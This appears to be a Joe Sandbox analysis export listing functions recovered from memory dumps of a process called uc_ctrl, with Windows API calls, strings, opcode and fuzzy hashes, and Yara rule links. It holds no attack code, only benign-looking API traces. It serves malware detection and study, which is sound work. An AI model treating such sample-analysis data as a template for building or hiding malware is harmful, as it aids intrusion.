                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Menu$Item$Count$AppendH_prolog3_InsertStateString
                                                                                              • String ID:
                                                                                              • API String ID: 2171526683-0
                                                                                              • Opcode ID: aa7688802dc08379a5eda1da45fe22dc546b2b20dc200346fe442101cd64a6d8
                                                                                              • Instruction ID: 1c38e9809ce66e696a1ff5b0d7df6612163f88aae4a2155b139abcdd35519930
                                                                                              • Opcode Fuzzy Hash: aa7688802dc08379a5eda1da45fe22dc546b2b20dc200346fe442101cd64a6d8
                                                                                              • Instruction Fuzzy Hash: 7D612571942228AFDF60DFA4DC8CBD9B7B4FB19314F1041E9E909A6290DB359E81CF51
                                                                                              Function 6CF90008 Relevance: 15.1, APIs: 10, Instructions: 91windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CF9000F
                                                                                              • __CxxThrowException@8.LIBVCRUNTIME ref: 6CF90047
                                                                                              • GetMenuItemCount.USER32(?), ref: 6CF90056
                                                                                              • GetMenuItemCount.USER32(8007000E), ref: 6CF90062
                                                                                              • GetSubMenu.USER32(8007000E,-00000001), ref: 6CF90079
                                                                                              • GetMenuItemCount.USER32(00000000), ref: 6CF9008C
                                                                                              • GetSubMenu.USER32(00000000,00000000), ref: 6CF9009D
                                                                                              • RemoveMenu.USER32(00000000,00000000,00000400,?,?,?,8007000E,6D184000,00000004,6CF8A963), ref: 6CF900B7
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Menu$CountItem$Exception@8H_prolog3RemoveThrow
                                                                                              • String ID:
                                                                                              • API String ID: 642076194-0
                                                                                              • Opcode ID: ce09e1ec1aaddc4b109b1ec79affec6d181973e7f7fdde7d8c7bee9b80d138c5
                                                                                              • Instruction ID: 5cb0f86b29f74063ddc912c8932ad6c3e6830dca4c8b913127f85b32d8322b21
                                                                                              • Opcode Fuzzy Hash: ce09e1ec1aaddc4b109b1ec79affec6d181973e7f7fdde7d8c7bee9b80d138c5
                                                                                              • Instruction Fuzzy Hash: 2331F271502389EBEF218F65DC0CBAF3B78FF49324F208129F919A6560DBB0DA40CA51
                                                                                              Function 6CEE7E10 Relevance: 15.1, APIs: 10, Instructions: 86COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEE7E17
                                                                                              • ?_Init@locale@std@@CAPAV_Locimp@12@_N@Z.MSVCP140(00000001,00000008), ref: 6CEE7E28
                                                                                                • Part of subcall function 6CEEB490: __EH_prolog3.LIBCMT ref: 6CEEB497
                                                                                                • Part of subcall function 6CEEB490: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000008,6CEEB457,00000000,6CEE3249,00000048), ref: 6CEEB4A1
                                                                                                • Part of subcall function 6CEEB490: ?_New_Locimp@_Locimp@locale@std@@CAPAV123@_N@Z.MSVCP140(00000000), ref: 6CEEB4B5
                                                                                                • Part of subcall function 6CEEB490: std::locale::_Setgloballocale.LIBCPMT(00000000,00000000), ref: 6CEEB4BD
                                                                                                • Part of subcall function 6CEEB490: ??4?$_Yarn@D@std@@QAEAAV01@PBD@Z.MSVCP140(?,?,?,?,6CED5578), ref: 6CEEB4D3
                                                                                                • Part of subcall function 6CEEB490: ??1_Lockit@std@@QAE@XZ.MSVCP140 ref: 6CEEB511
                                                                                              • _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000008), ref: 6CEE7E3A
                                                                                              • std::locale::_Setgloballocale.LIBCPMT(00000002), ref: 6CEE7E87
                                                                                              • setlocale.API-MS-WIN-CRT-LOCALE-L1-1-0(00000000,?), ref: 6CEE7EB4
                                                                                              • setlocale.API-MS-WIN-CRT-LOCALE-L1-1-0(00000000,?), ref: 6CEE7ED7
                                                                                              • ??1_Lockit@std@@QAE@XZ.MSVCP140 ref: 6CEE7EE8
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ??1_H_prolog3Lockit@std@@Setgloballocale_lock_localessetlocalestd::locale::_$??4?$_D@std@@Init@locale@std@@Locimp@12@_Locimp@_Locimp@locale@std@@New_V01@V123@_Yarn@
                                                                                              • String ID:
                                                                                              • API String ID: 1283361127-0
                                                                                              • Opcode ID: 2f6e66820243664a5af7f64edb6a78ffdfdc53b726357318476c0d6c89f0d98f
                                                                                              • Instruction ID: 91ddc28b38132d84f9729054d610c3aeccaad264a081c74305aeaaef96fd6a8e
                                                                                              • Opcode Fuzzy Hash: 2f6e66820243664a5af7f64edb6a78ffdfdc53b726357318476c0d6c89f0d98f
                                                                                              • Instruction Fuzzy Hash: 5321AB31B002159FCB04DF68C8C09AE3BB5EF49658B21806EE816DB392DB30ED459B90
                                                                                              Function 6CFAB557 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 128memoryCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 6CF8E9FD: __EH_prolog3_catch.LIBCMT ref: 6CF8EA04
                                                                                              • GetModuleHandleW.KERNEL32(comctl32.dll,00000000,00000000,00000000,?,?,6CFA6AFB,00000000,00000000,6CFA5720,00000000,0000001C,6CFA68F8,00000000,6CFA5720), ref: 6CFAB58A
                                                                                              • GetUserDefaultUILanguage.KERNEL32(?,?,6CFA6AFB,00000000,00000000,6CFA5720,00000000,0000001C,6CFA68F8,00000000,6CFA5720), ref: 6CFAB59B
                                                                                              • FindResourceExW.KERNEL32(?,00000005,?,0000FC11,?,?,6CFA6AFB,00000000,00000000,6CFA5720,00000000,0000001C,6CFA68F8,00000000,6CFA5720), ref: 6CFAB5DA
                                                                                              • FindResourceW.KERNEL32(?,?,00000005,?,?,6CFA6AFB,00000000,00000000,6CFA5720,00000000,0000001C,6CFA68F8,00000000,6CFA5720), ref: 6CFAB5F7
                                                                                              • LoadResource.KERNEL32(?,00000000,?,?,6CFA6AFB,00000000,00000000,6CFA5720,00000000,0000001C,6CFA68F8,00000000,6CFA5720), ref: 6CFAB605
                                                                                                • Part of subcall function 6CFAB6D3: _wcslen.LIBCMT ref: 6CFAB701
                                                                                                • Part of subcall function 6CFAB6D3: GetDC.USER32(00000000), ref: 6CFAB729
                                                                                                • Part of subcall function 6CFAB6D3: EnumFontFamiliesExW.GDI32(00000000,?,6CFAB6BD,?,00000000,?,?,?,?,?,?,00000000), ref: 6CFAB744
                                                                                                • Part of subcall function 6CFAB6D3: ReleaseDC.USER32(00000000,00000000), ref: 6CFAB74C
                                                                                              • GlobalAlloc.KERNEL32(00000040,00000000,00000000,00000000,6CFA5720,00000000,0000001C,6CFA68F8,00000000,6CFA5720), ref: 6CFAB635
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Resource$Find$AllocDefaultEnumFamiliesFontGlobalH_prolog3_catchHandleLanguageLoadModuleReleaseUser_wcslen
                                                                                              • String ID: MS UI Gothic$comctl32.dll
                                                                                              • API String ID: 2994302752-3248924666
                                                                                              • Opcode ID: 11f36997cc61274609253b95235ab82bb0b0dda837a41cdce737a2d8b55eb2de
                                                                                              • Instruction ID: 4722b21ae13b60237d755b50bf98261e2783f6d431021794647ca255ad83950b
                                                                                              • Opcode Fuzzy Hash: 11f36997cc61274609253b95235ab82bb0b0dda837a41cdce737a2d8b55eb2de
                                                                                              • Instruction Fuzzy Hash: B241F87560120AEFEB009BA5DC49BBAB3B9EF45714F104968FD15CBBA0EB30DD418661
                                                                                              Function 6CF8E330 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 112libraryCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • LoadLibraryW.KERNEL32(Comctl32.dll,00000000,00000000,00000002,Comctl32.dll,00000040), ref: 6CF8E4C5
                                                                                                • Part of subcall function 6CF8E200: GetProcAddress.KERNEL32(00000000,?), ref: 6CF8E22D
                                                                                              • GetModuleFileNameW.KERNEL32(?,?,00000105,?,6CF8E2C8,00000000,6D183C18,00000010,6CF8F4F5,?,?,?,6D0F588C,?,00000001,0000000C), ref: 6CF8E3DF
                                                                                              • SetLastError.KERNEL32(0000006F,?,6CF8E2C8,00000000,6D183C18,00000010,6CF8F4F5,?,?,?,6D0F588C,?,00000001,0000000C,6CF8F54D,?), ref: 6CF8E3F3
                                                                                              • GetLastError.KERNEL32(00000020), ref: 6CF8E44A
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ErrorLast$AddressFileLibraryLoadModuleNameProc
                                                                                              • String ID: $@$Comctl32.dll$GetModuleHandleExW
                                                                                              • API String ID: 3640817601-4183358198
                                                                                              • Opcode ID: bb7db49a03512ebefc2911d90eea6e5e6cd7383eac4d6cf3ba2389c46da3e414
                                                                                              • Instruction ID: be691424a83f73c9bb7f4219beac278cbf112876a3ac38a1825007c6d25eec67
                                                                                              • Opcode Fuzzy Hash: bb7db49a03512ebefc2911d90eea6e5e6cd7383eac4d6cf3ba2389c46da3e414
                                                                                              • Instruction Fuzzy Hash: 6741EB78902618AAEB209B64CC4CBDD7678EB44314F2042A6F51CE65D0DBB8CA85CFD1
                                                                                              Function 6CF99F74 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 111libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetModuleHandleW.KERNEL32(user32.dll), ref: 6CF9A07F
                                                                                              • __Init_thread_footer.LIBCMT ref: 6CF9A08F
                                                                                              • GetProcAddress.KERNEL32(GetTouchInputInfo), ref: 6CF9A0C3
                                                                                              • GetProcAddress.KERNEL32(CloseTouchInputHandle), ref: 6CF9A0D9
                                                                                              • __Init_thread_footer.LIBCMT ref: 6CF9A0E5
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: AddressInit_thread_footerProc$HandleModule
                                                                                              • String ID: CloseTouchInputHandle$GetTouchInputInfo$user32.dll
                                                                                              • API String ID: 2862038163-1853737257
                                                                                              • Opcode ID: 8152bc0e46b2cedd2fd45c7a18e32935119ee9cb6b7579a9bd0f3b90ca1f616d
                                                                                              • Instruction ID: e7e92709e22d1f45224461f36b2b2e92b298ef6fa31c438ac65074fa58da752d
                                                                                              • Opcode Fuzzy Hash: 8152bc0e46b2cedd2fd45c7a18e32935119ee9cb6b7579a9bd0f3b90ca1f616d
                                                                                              • Instruction Fuzzy Hash: 45312572905200DFEF02AB65E819B6D3BB5EB4E33AF11016AED19876D0DF759800CB53
                                                                                              Function 6CF9AE21 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 76libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetModuleHandleW.KERNEL32(user32.dll,?,?,?,?,?,?,?,00000000,?,6CF994A4,00000000,00000000), ref: 6CF9AEC2
                                                                                              • __Init_thread_footer.LIBCMT ref: 6CF9AECE
                                                                                                • Part of subcall function 6CF8FBA5: __CxxThrowException@8.LIBVCRUNTIME ref: 6CF8FBB9
                                                                                              • GetProcAddress.KERNEL32(RegisterTouchWindow), ref: 6CF9AF02
                                                                                              • GetProcAddress.KERNEL32(UnregisterTouchWindow), ref: 6CF9AF18
                                                                                              • __Init_thread_footer.LIBCMT ref: 6CF9AF24
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: AddressInit_thread_footerProc$Exception@8HandleModuleThrow
                                                                                              • String ID: RegisterTouchWindow$UnregisterTouchWindow$user32.dll
                                                                                              • API String ID: 3795892493-2470269259
                                                                                              • Opcode ID: cce1193a53f2d6450dd463d5289e9aa45fd52372111eabbfd0473927e30ff6f6
                                                                                              • Instruction ID: f990a2e474d7e9e4aeb13d325ee7db49a2e61218a365f6459197fe6bd5476992
                                                                                              • Opcode Fuzzy Hash: cce1193a53f2d6450dd463d5289e9aa45fd52372111eabbfd0473927e30ff6f6
                                                                                              • Instruction Fuzzy Hash: 9921FDB2904141DFEF01AF5AE4987893BF6FB4F33EB21455AE91057680DBB55840CF92
                                                                                              Function 6CFAB1A5 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 67COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetStockObject.GDI32(00000011), ref: 6CFAB1C7
                                                                                              • GetStockObject.GDI32(0000000D), ref: 6CFAB1D3
                                                                                              • GetObjectW.GDI32(00000000,0000005C,?), ref: 6CFAB1E4
                                                                                              • GetDC.USER32(00000000), ref: 6CFAB1F3
                                                                                              • GetDeviceCaps.GDI32(00000000,0000005A), ref: 6CFAB20A
                                                                                              • MulDiv.KERNEL32(?,00000048,00000000), ref: 6CFAB216
                                                                                              • ReleaseDC.USER32(00000000,00000000), ref: 6CFAB222
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Object$Stock$CapsDeviceRelease
                                                                                              • String ID: System
                                                                                              • API String ID: 46613423-3470857405
                                                                                              • Opcode ID: e74e98f8b200e56fca8390a7cdceeecff903214be7db38ae85ba7aa4afd55213
                                                                                              • Instruction ID: 08cefdc1a58c1f04aa33d5e50d515a477c84e3d837297df759d6ac6c3390a848
                                                                                              • Opcode Fuzzy Hash: e74e98f8b200e56fca8390a7cdceeecff903214be7db38ae85ba7aa4afd55213
                                                                                              • Instruction Fuzzy Hash: 6E118171700308EBEB14DBA5DD59FBEBBB8EB49B11F10411AFA05DB280DB709801C661
                                                                                              Function 6CF98D94 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 65windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Window$ActiveFocus$MessageSend
                                                                                              • String ID: u
                                                                                              • API String ID: 1556911595-4067256894
                                                                                              • Opcode ID: 44efb4c62dc41615c62537a1262b9c89fcc9307b7adf3304eed6c9ad4c0f790b
                                                                                              • Instruction ID: ffd9a08032bbd6a11975d4721f7ecc2601d4f7cfb7cb8660779c7a47808dbc3a
                                                                                              • Opcode Fuzzy Hash: 44efb4c62dc41615c62537a1262b9c89fcc9307b7adf3304eed6c9ad4c0f790b
                                                                                              • Instruction Fuzzy Hash: E511C873602204ABFF122FB4DC48BEA3A65EB49769F208426E915C9D95D734C8009751
                                                                                              Function 6D06A967 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 39COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6D06A96E
                                                                                                • Part of subcall function 6CF8FAC0: EnterCriticalSection.KERNEL32(6D1C7498,?,?,00000000,?,6CF9063F,00000000,?,?,6CF6F6D7,6D1C244C), ref: 6CF8FAF1
                                                                                                • Part of subcall function 6CF8FAC0: InitializeCriticalSection.KERNEL32(00000000,?,?,00000000,?,6CF9063F,00000000,?,?,6CF6F6D7,6D1C244C), ref: 6CF8FB07
                                                                                                • Part of subcall function 6CF8FAC0: LeaveCriticalSection.KERNEL32(6D1C7498,?,?,00000000,?,6CF9063F,00000000,?,?,6CF6F6D7,6D1C244C), ref: 6CF8FB15
                                                                                                • Part of subcall function 6CF8FAC0: EnterCriticalSection.KERNEL32(00000000,?,00000000,?,6CF9063F,00000000,?,?,6CF6F6D7,6D1C244C), ref: 6CF8FB22
                                                                                              • GetProfileIntW.KERNEL32(windows,DragScrollInset,0000000B), ref: 6D06A9B9
                                                                                              • GetProfileIntW.KERNEL32(windows,DragScrollDelay,00000032), ref: 6D06A9CC
                                                                                              • GetProfileIntW.KERNEL32(windows,DragScrollInterval,00000032), ref: 6D06A9DF
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: CriticalSection$Profile$Enter$H_prolog3InitializeLeave
                                                                                              • String ID: DragScrollDelay$DragScrollInset$DragScrollInterval$windows
                                                                                              • API String ID: 4229786687-1024936294
                                                                                              • Opcode ID: 483b6bd1ab16cfa840a9f785becef72b7745500c034b588b4a04c7713233735c
                                                                                              • Instruction ID: 4dc137b309cdc02ba2d3a3a38b017fd2a7dced41333ab09962ea6d784d79d282
                                                                                              • Opcode Fuzzy Hash: 483b6bd1ab16cfa840a9f785becef72b7745500c034b588b4a04c7713233735c
                                                                                              • Instruction Fuzzy Hash: EC017CB09497009FEB50CF799D08B1ABAF4BB09B19F504929E214EB688DBF88500CF06
                                                                                              Function 6CF9756F Relevance: 14.0, APIs: 9, Instructions: 472COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
